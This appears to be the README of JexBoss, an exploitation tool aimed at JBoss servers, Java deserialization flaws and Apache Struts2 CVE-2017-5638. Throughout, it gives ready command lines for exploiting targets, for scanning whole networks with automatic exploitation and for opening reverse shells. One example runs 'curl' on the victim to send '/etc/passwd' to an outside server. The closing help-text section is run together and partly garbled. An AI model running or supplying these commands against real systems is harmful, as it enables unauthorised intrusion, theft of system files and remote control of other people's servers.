“`
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss

Features
—-

The tool and exploits were developed and tested for:

* JBoss Application Server versions: 3, 4, 5 and 6.
* Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces – JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

* /admin-console
– tested and working in JBoss versions 5 and 6
* /jmx-console
– tested and working in JBoss versions 4, 5 and 6
* /web-console/Invoker
– tested and working in JBoss versions 4, 5 and 6
* /invoker/JMXInvokerServlet
– tested and working in JBoss versions 4, 5 and 6
* Application Deserialization
– tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
* Servlet Deserialization
– tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an “Invoker” in a link)
* Apache Struts2 CVE-2017-5638
– tested in Apache Struts 2 applications
* Others

Screenshots

* Simple usage examples:

“`
$ python jexboss.py
“`

* Example of standalone mode against JBoss:

“`
$ python jexboss.py -u http://192.168.0.26:8080
“`

* Usage modes:

“`
$ python jexboss.py -h
“`

* Network scan mode:

“`
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt
“`

* Network scan with auto-exploit mode:

“`
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt
“`

* Results and recommendations:

Reverse Shell (meterpreter integration)
—————————————

After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

“`
jexremote=YOUR_IP:YOUR_PORT

Example:
Shell>jexremote=192.168.0.10:4444
“`

* Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples
————–

* For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

“`
$ python jexboss.py -u http://vulnerable_java_app/page.jsf –app-unserialize -H parameter_name –cmd ‘curl -d@/etc/passwd http://your_server’
“`

* For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

“`
$ python jexboss.py -u http://vulnerable_java_app/page.jsf –app-unserialize -H parameter_name
“`

* For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

“`
$ python jexboss.py -u http://vulnerable_java_app/path –servlet-unserialize
“`

* For Apache Struts 2 (CVE-2017-5638)

“`
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action –struts2
“`

* For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

“`
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action –struts2 –cookies “JSESSIONID=24517D9075136F202DCE20E9C89D424D”
“`

* Auto scan mode:

“`
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
“`

* File scan mode:

“`

Specify the parameter to find and inject serialized
objects into it. (egs. -H javax.faces.ViewState or -H

(DEFAULT: commons-collections3.1 or groovy1 for JenKins) --load-gadget FILENAME Provide your own gadget from file (a java serialized object in RAW mode) --force, -F Force send java serialized gadgets to URL informed in -u parameter. This will send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with different Content-Types. Auto scan mode: -network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8) -ports PORTS List of ports separated by commas to be checked for each host (eg. 8080,8443,8888,80,443) -results FILENAME File name to store the auto scan results File scan mode: -file FILENAME_HOSTS Filename with host list to be scanned (one host per line) -out FILENAME_RESULTS File name to store the file scan results ``` Questions, problems, suggestions and etc: ---- * joaomatosf@gmail.com
